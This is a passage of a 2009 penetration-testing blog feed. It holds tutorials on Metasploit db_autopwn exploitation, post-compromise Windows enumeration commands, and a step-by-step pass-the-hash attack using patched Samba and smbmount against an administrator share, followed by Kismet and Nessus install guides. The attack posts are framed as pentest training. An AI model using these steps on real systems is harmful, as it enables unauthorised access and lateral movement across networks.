margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi1S9WsLktsZFSGqyfY-iySpnGDTjUNpxjazERu_219ayX2lBqXyJRugb5YmLX0nUbhdJlT8zkBYKoBhczUVP3noFTC-T_kH8wWiRIzNLCB94h0xNxzzUxO92wCtSGPs7XMLA_rTwUmAw/s400/ms2.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;Note: I am using Linux for this section, but Windows is fine.&lt;br /&gt;&lt;br /&gt;4. Next we want to create a database to store our Nessus results. This will allow autopwn to quickly traverse the database and assess whether the vulnerabilities found are indeed exploitable.&lt;br /&gt;At the Metasploit console, type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_create&lt;br /&gt;&lt;/blockquote&gt;You should see the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyWOoZqeM72pLO0eN4FSEGw_C_77zkRakpMuMXpNFnnvwzp4cS1f0xyo02i4ieilAaP4Q7G8YkHlJjRnz5YcaLHUIX8Zi5Smhz1VR94s3stlaM74ltCI2_Q1wrbbHkicLiHZvp3NqCvo/s1600-h/ms1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKyWOoZqeM72pLO0eN4FSEGw_C_77zkRakpMuMXpNFnnvwzp4cS1f0xyo02i4ieilAaP4Q7G8YkHlJjRnz5YcaLHUIX8Zi5Smhz1VR94s3stlaM74ltCI2_Q1wrbbHkicLiHZvp3NqCvo/s320/ms1.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;You have just created an sqlite database to store the results of the Nessus scan.&lt;br /&gt;Note: Metasploit has context sensitive help which is very useful. If you type ‘help’ in the Metasploit console at any stage of this process you will be able to see the commands available to you for the specific module you have loaded. Very cool :)&lt;br /&gt;&lt;br /&gt;5. We’ll now connect to our newly created database. To do this, we type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_connect&lt;br /&gt;&lt;/blockquote&gt;You’ll notice that Metasploit is smart enough to realize that you want to connect to the most recently created database. If you wanted to connect to a different database – one that you had possibly made earlier – you would specifiy the path/database name after the db_connect command i.e. db_connect /root/.msf3/test.db&lt;br /&gt;&lt;br /&gt;6. Now lets import our Nessus results into Metasploit. For this, we type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_import_nessus_nbe /root/test.nbe&lt;br /&gt;&lt;/blockquote&gt;Notice here I have added the path to my Nessus output file after the import command (db_import_nessus_nbe).&lt;br /&gt;&lt;br /&gt;Note: You will not get any confirmation after you have imported the Nessus results into your database. Instead, you will just be returned to the Metasploit console prompt.&lt;br /&gt;&lt;br /&gt;7. Now we get to the autopwn part! It is a good idea at this point to type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn&lt;br /&gt;&lt;/blockquote&gt;This will display a list of arguments that the autopwn module can use.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi05HuTLlmouM2ugZ02ydiP1xnqa7nu3T_nlcaON_wuMgV9gKk4jac4Ni-HMUezcA6PzzoQziEL5Hz4UYfKd0a0CP30zkWkO1pbYRsJ7lRjcrCXFVOqXQtlrCaeoIBwrM6ODmOLJ32dfUc/s1600-h/ms3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi05HuTLlmouM2ugZ02ydiP1xnqa7nu3T_nlcaON_wuMgV9gKk4jac4Ni-HMUezcA6PzzoQziEL5Hz4UYfKd0a0CP30zkWkO1pbYRsJ7lRjcrCXFVOqXQtlrCaeoIBwrM6ODmOLJ32dfUc/s400/ms3.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The arguments that I will first be using are:&lt;br /&gt;-t Show all matching exploit modules&lt;br /&gt;-x Select modules based on vulnerability references&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn –t -x&lt;br /&gt;&lt;/blockquote&gt;Note: At this point I could just use –e and autopwn would try and exploit the target system. However, in my case, I know that the target system is vulnerable to multiple denial of service exploits which will cause my system to crash – and I don’t particularly want that :)&lt;br /&gt;&lt;br /&gt;8. Exploiting! Now that we have seen which vulnerabilities are available to exploit, we have two options:&lt;br /&gt;a)Manually set up the exploit, or&lt;br /&gt;b)Let autopwn do the work for us&lt;br /&gt;&lt;br /&gt;For the sake of this tutorial, I’ll use the autopwn option.&lt;br /&gt;&lt;br /&gt;If you are happy to use all available exploits against the target system, the process would be as simple as: &lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn –x –e –r&lt;br /&gt;&lt;/blockquote&gt;And viola! If one of the exploits was successful, you will be presented with a command shell of the target system.&lt;br /&gt;&lt;br /&gt;I hope this tutorial has shown just how simple it is in today’s environment to compromise an out-of-date/unpatched/misconfigured system.&amp;nbsp; I trust this reiterates the importance of maintaining a good patch policy alongside regular audits of system services.</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/7424675817767610978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/11/metasploit-autopwn-hacking-made-simple.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7424675817767610978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7424675817767610978'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/11/metasploit-autopwn-hacking-made-simple.html' title='Metasploit Autopwn: Hacking made simple'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVpYgCVjLIXnBAKZGSbErP5po4BObT_dfh3thrpRYk_t2fJEqeExhsxavQC-kzKk3aNHRvlfCoZdiZYB2yN1EU88nJjqRfdb46wsirGiItJ9unna8zBqGVKpoCJjJ855DxlaGJwojCQsk/s72-c/nessus1.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-7776422061641492282</id><published>2009-10-04T19:56:00.001-07:00</published><updated>2009-12-13T00:43:33.205-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="commandline"/><category scheme="http://www.blogger.com/atom/ns#" term="enumeration"/><category scheme="http://www.blogger.com/atom/ns#" term="forensics"/><category scheme="http://www.blogger.com/atom/ns#" term="information gathering"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Enumerating Windows Information</title><content type='html'>&lt;p&gt;After you have gained access to a box, the first thing you want to do as a pen tester is obtain as much information about the machine/network as possible. Here is a list of commands that aim to enumerate host/network information from a Windows machine. The following commands are for Windows XP/Vista/7 unless stated otherwise.&lt;/p&gt;  &lt;p&gt;&lt;u&gt;Operating System Details&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; ver&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; systeminfo&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;&lt;span style=&quot;font-family: tre&quot;&gt;Who are you logged in as&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; set username&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Which domain/workgroup is the machine apart of&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; set userdomain&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;What is the machine called&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; set computername&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Windows 7 only&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style=&quot;font-family: tre&quot;&gt;&amp;gt; whoami&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List user groups on the system&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net localgroup&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List users on the machine&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net user&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List users in administrative group&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net localgroup administrators&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;View all mapped logical/shared drives on the system&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; wmic logicaldisk get caption,description,providername&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List all listening services on the machine&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; netstat –nao&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;See which other machines the system has been communicating with&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; arp –a&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View what directories are currently being shared&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net share&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View firewall configuration&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; netsh firewall show config&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Windows 7 only&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&amp;gt; netsh advfirewall firewall show rule name=all more&lt;/p&gt;    &lt;p&gt;or&lt;/p&gt;    &lt;p&gt;&amp;gt; netsh advfirewall firewall show rule name=all dir=&amp;lt;inout&amp;gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;NOTE: For more information on this command please see:&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;a title=&quot;http://support.microsoft.com/kb/947709&quot; href=&quot;http://support.microsoft.com/kb/947709&quot;&gt;http://support.microsoft.com/kb/947709&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View all currently running processes&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Find a specific task through Process ID (PID), where x is an arbitrary PID&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist /fi “pid eq x”&lt;/p&gt;    &lt;p&gt;or&lt;/p&gt;    &lt;p&gt;&amp;gt; tasklist find “x”&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Find tasks running under a specific user, where x is an arbitrary username&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist /fi “username eq x”&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;For more information on information gathering/windows forensics, check out:&lt;/p&gt;  &lt;p&gt;&lt;a title=&quot;http://www.irongeek.com/i.php?page=&quot; href=&quot;http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots&quot;&gt;http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/7776422061641492282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/10/enumerating-windows-information.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7776422061641492282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7776422061641492282'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/10/enumerating-windows-information.html' title='Enumerating Windows Information'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-6782772182330272435</id><published>2009-08-29T01:30:00.000-07:00</published><updated>2010-01-29T22:06:42.072-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="backtrack"/><category scheme="http://www.blogger.com/atom/ns#" term="backtrack4"/><category scheme="http://www.blogger.com/atom/ns#" term="pass-the-hash"/><category scheme="http://www.blogger.com/atom/ns#" term="passthehash"/><category scheme="http://www.blogger.com/atom/ns#" term="penetrationtesting"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><category scheme="http://www.blogger.com/atom/ns#" term="samba"/><title type='text'>Pass-the-Hash Attack with Backtrack 4</title><content type='html'>For the uninitiated, a pass-the-hash attack is a way to gain access to a Windows machine without having to supply user credentials. Sounds great yeah? Cool, now you can go ahead and delete Cain and john because your password cracking days are over? Well, not quite. Before you get too excited you should realize there&#39;s a catch -- you must first have in your possession a password hash of the machine that you want to compromise. So now you&#39;re probably asking yourself, &quot;Why is that useful if I need to have access to the box in the first place?&quot; Well, picture this:&lt;br /&gt;&lt;br /&gt;Say you were conducting a penetration test on Company X and you were unable to crack the administrator password. Now, like most organizations, Company X is using the same administrator password on all of its machines. So gaining access to this password would allow you to pwn the entire network. Now lets say that Company X believes strongly in security, and has a 20 character random password for their administrator password. So now you&#39;re screwed right? Wrong.&lt;br /&gt;&lt;br /&gt;By having access to just one machine that holds this master account that is present on all machines (the administrator account in this example), you are able to utilize a pass-the-hash attack by &#39;passing&#39; just the hash to every other machines on the network. By receiving the hash, Windows believes that you have successfully authenticated and provides you access to the host. Kinda cool huh?&lt;br /&gt;&lt;br /&gt;Now that I&#39;ve given you some background, here&#39;s how you go about setting it up on Backtrack 4. There are a few tweaks that need to be made in order for this to work on Backtrack 4.&lt;br /&gt;&lt;br /&gt;Pass the Hash Attack Tutorial for Backtrack 4 Users:&lt;br /&gt;&lt;br /&gt;1. Download Samba 3.0.22:&lt;br /&gt;http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz&lt;br /&gt;&lt;br /&gt;2. Download both of the &lt;a href=&quot;http://www.foofus.net/jmk/passhash.html&quot;&gt;Foofus&lt;/a&gt; Samba patches:&lt;br /&gt;http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch&lt;br /&gt;http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch&lt;br /&gt;&lt;br /&gt;3. Extract the samba archive where you would like to access Samba from. I&#39;ve chosen /opt/&lt;br /&gt;&lt;br /&gt;4. From the directory where you have installed Samba (/opt/ for me), patch the appropriate files&lt;br /&gt;&lt;blockquote&gt;# cd /opt/&lt;br /&gt;# patch -p0 &amp;lt;samba-3.0.22-add-user.patch&lt;br /&gt;# patch -p0 &amp;lt;samba-3.0.22-passhash.patch&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;5. Configure Samba with smbmount&lt;br /&gt;&lt;blockquote&gt;# cd /opt/samba3.0.22/source&lt;br /&gt;# ./configure --with-smbmount&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;6. Compile/Install Samba (still in the /opt/samba3.0.22/source/ directory)&lt;br /&gt;&lt;blockquote&gt;# make&lt;br /&gt;# make install&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;7. Create a mount point in order to mount the Windows share&lt;br /&gt;&lt;blockquote&gt;# mkdir /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;8. Alter the fstab file to allow /mnt/target to be mounted&lt;br /&gt;&lt;blockquote&gt;# pico /etc/fstab&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;At the bottom of the file add this entry:&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;none /mnt/target tmpfs defaults 0 0&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;9. Copy smb.conf to the correct directory&lt;br /&gt;&lt;blockquote&gt;# cp /opt/samba-3.0.22/packaging/Debian/debian-woody/smb.conf /usr/local/samba/lib/smb.conf&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;10. Mount the target directory&lt;br /&gt;&lt;blockquote&gt;# mount /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;11. Add your compromised hash to the SMBHASH environment variable&lt;br /&gt;&lt;blockquote&gt;# export SMBHASH=&quot;92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63&quot;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Note: The format for this should be &quot;LMHASH:NTHASH&quot;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;12. Implement your pass-the-hash attack&lt;br /&gt;# cd /opt/samba3.0.22/source/bin&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Usage: smbmount //target-ipaddress/sharename /mount/point -o username=username-associated-with-hash-here&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# ./smbmount //10.0.0.100/C$ /mnt/target -o username=administrator&lt;br /&gt;&lt;br /&gt;13. Type an arbitrary password&lt;br /&gt;&lt;blockquote&gt;At this point would be asked to supply a password. Type anything you want here -- just make sure its not blank. So, for example, you could just type &#39;blah&#39; and hit return.&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;14. Check to see that you have successfully mapped the Windows share&lt;br /&gt;&lt;blockquote&gt;# ls /mnt/target&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;If you would like a video tutorial on the pass-the-hash technique, please see John Strand&#39;s video:&lt;br /&gt;http://vimeo.com/2852120</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/6782772182330272435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/08/pass-hash-attack-with-backtrack-4.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6782772182330272435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/6782772182330272435'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/08/pass-hash-attack-with-backtrack-4.html' title='Pass-the-Hash Attack with Backtrack 4'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-7911369140805793958</id><published>2009-08-07T22:47:00.000-07:00</published><updated>2009-12-12T22:19:57.472-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="backtrack"/><category scheme="http://www.blogger.com/atom/ns#" term="backtrack4"/><category scheme="http://www.blogger.com/atom/ns#" term="blog"/><category scheme="http://www.blogger.com/atom/ns#" term="howto"/><category scheme="http://www.blogger.com/atom/ns#" term="install"/><category scheme="http://www.blogger.com/atom/ns#" term="kismet"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="wireless"/><title type='text'>Installing Kismet on Backtrack 4 Pre Release</title><content type='html'>Backtrack 4 has all the bells and whilstles we love and have come to expect from Backtrack in the past. That said however, as Bakctrack is currenly in a &quot;Pre Realease&quot; version, there are a couple of teething issues with various bits and pieces. One such issue is with Kismet Newcore.&lt;br /&gt;&lt;br /&gt;Kismet is our friendly little wireless stumbler that we all love. In Backtrack 4 pre release you may have noticed it is either missing functionality, or just plain doesn&#39;t work!&lt;br /&gt;&lt;br /&gt;Here is a quick guide for you to download an alternate version of Kismet Newcore and install it on Backtrack 4:&lt;br /&gt;&lt;br /&gt;1. Make sure your network adapter is on&lt;br /&gt;&lt;blockquote&gt;# dhclient eth0&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;2. Change your director to /usr/src to download the Kismet Newcore source code&lt;br /&gt;&lt;blockquote&gt;# cd /usr/src&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;3. Download the Kismet source using the built-in subversioning software&lt;br /&gt;&lt;blockquote&gt;# svn co https://kismetwireless.net/code/svn/trunk kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;4. Open the newly created kismet directory&lt;br /&gt;&lt;blockquote&gt;# cd kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;5. Confrigure and make the source code&lt;br /&gt;&lt;blockquote&gt;# ./configure --prefix=/opt &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;6. Now change your directory to where you want kismet to store its logging files&lt;br /&gt;&lt;blockquote&gt;# cd somewhere/useful/for/your/logging/files&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;7. Run kismet&lt;br /&gt;&lt;blockquote&gt;# /opt/bin/kismet&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;There you have it! A fresh version of Kismet Newcore installed.&lt;br /&gt;&lt;br /&gt;When you run kismet, it will ask you to add a new capture source. You will (typically) add wlan0. This will change however, depending on your hardware.</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/7911369140805793958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/08/kismet-in-backtrack-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7911369140805793958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/7911369140805793958'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/08/kismet-in-backtrack-4.html' title='Installing Kismet on Backtrack 4 Pre Release'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-3500018771261193651</id><published>2009-08-05T04:55:00.000-07:00</published><updated>2009-12-12T22:19:07.418-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="backtrack"/><category scheme="http://www.blogger.com/atom/ns#" term="blog"/><category scheme="http://www.blogger.com/atom/ns#" term="howto"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Installing Nessus on Backtrack 4</title><content type='html'>Here is an easy to follow &lt;a href=&quot;http://forums.remote-exploit.org/bt4beta-howtos/20221-nessus-3-2-1-installation-backtrack-4-beta-tutorial.html&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; on installing nessus on the Backtrack 4 Pre Release. This is courtesy of &lt;a href=&quot;http://forums.remote-exploit.org/members/secure_it.html&quot; rel=&quot;nofollow&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;secure_it&lt;/span&gt;&lt;/a&gt; at the &lt;a href=&quot;http://forums.remote-exploit.org/&quot; rel=&quot;nofollow&quot;&gt;remote-exploit forums&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;First download these packages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onclick=&quot;pageTracker._trackPageview (&#39;/outgoing/http_downloads_nessus_org_nessus3dl_php_file_Nessus_3_2_1_ubuntu804_i386_deb_amp_licence_accept_yes_amp_t_29405df1e6e5014292802fe878e9a1b0&#39;);&quot; href=&quot;http://downloads.nessus.org/nessus3dl.php?file=Nessus-3.2.1-ubuntu804_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=29405df1e6e5014292802fe878e9a1b0&quot; target=&quot;_blank&quot;&gt;Nessus-3.2.1-ubuntu804_i386.deb&lt;/a&gt;&lt;br /&gt;&lt;a onclick=&quot;pageTracker._trackPageview (&#39;/outgoing/http_downloads_nessus_org_nessus3dl_php_file_NessusClient_3_2_1_debian4_i386_deb_amp_licence_accept_yes_amp_t_29405df1e6e5014292802fe878e9a1b0&#39;);&quot; href=&quot;http://downloads.nessus.org/nessus3dl.php?file=NessusClient-3.2.1-debian4_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=29405df1e6e5014292802fe878e9a1b0&quot; target=&quot;_blank&quot;&gt;NessusClient-3.2.1-debian4_i386.deb&lt;/a&gt;&lt;br /&gt;&lt;a onclick=&quot;pageTracker._trackPageview (&#39;/outgoing/http_downloads_nessus_org_nessus3dl_php_file_NessusClient_3_2_1_debian4_i386_deb_amp_licence_accept_yes_amp_t_8ce32120dceb6e0026261897d31d9f77&#39;);&quot; href=&quot;http://downloads.nessus.org/nessus3dl.php?file=NessusClient-3.2.1-debian4_i386.deb&amp;amp;licence_accept=yes&amp;amp;t=8ce32120dceb6e0026261897d31d9f77&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;(I have chosen debian package because NessusClient-3.2.1.1-ubuntu804.i386.deb was missing some of dependencies and was not installing correctly.instead the debian package worked like a charm as its upto-date with dependencies and it produces no error at all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next register your copy to get plugins update using homefeed and please provide the real mail ID as they will send you the activation key for homefeed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onclick=&quot;pageTracker._trackPageview (&#39;/outgoing/http_www_nessus_org_plugins_index_php_view_register&#39;);&quot; href=&quot;http://www.nessus.org/plugins/index.php?view=register&quot; target=&quot;_blank&quot;&gt;Regsiter Here&lt;/a&gt;&lt;br /&gt;&lt;a onclick=&quot;pageTracker._trackPageview (&#39;/outgoing/http_www_nessus_org_plugins_index_php_view_register&#39;);&quot; href=&quot;http://www.nessus.org/plugins/index.php?view=register&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Click accept and enter a valid working email ID.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now we start installing the packages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#dpkg -i Nessus-3.2.1-ubuntu804_i386.deb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now configure the certificate &amp;amp; admin user for nessus&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-mkcert (this is neccessary to communicate between nessus client to nessus daemon/remote host)&lt;br /&gt;(configure options accordingly or just press enter for default)&lt;br /&gt;&lt;br /&gt;CA certificate life time in days [1460]:&lt;br /&gt;Server certificate life time in days [365]:&lt;br /&gt;Your country (two letter code) [FR]:IN&lt;br /&gt;Your state or province name [none]: Karnataka&lt;br /&gt;Your location (e.g. town) [Paris]: Bangalore&lt;br /&gt;it should show the message&lt;br /&gt;Congratulations. Your server certificate was properly created.&lt;br /&gt;hit enter to come out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-adduser&lt;br /&gt;enter information about the user.&lt;br /&gt;Login&lt;br /&gt;Authentication (Pass/Cert)&lt;br /&gt;Password:&lt;br /&gt;confirm password:&lt;br /&gt;after configuring the parameters it ask for rule-set.we have configured the admin user having full permissions.if we wants to limit and want to add certain users then we can use rule-set here.&lt;br /&gt;For configuring ruleset please refer to nessus-adduser(8) man page for the rules syntax as it limit the use of nessus.&lt;br /&gt;press ctrl + d&lt;br /&gt;it asks for confirmation.choose y&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now start Nessus daemon by using&lt;br /&gt;root@ThUndErbOLt:~# /etc/init.d/nessusd start&lt;br /&gt;$Starting Nessus : .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;confirm that its running using&lt;br /&gt;root@ThUndErbOLt:~# netstat -ant|grep 1241&lt;br /&gt;tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN&lt;br /&gt;tcp6          0                        0        :::1241                :::*                                      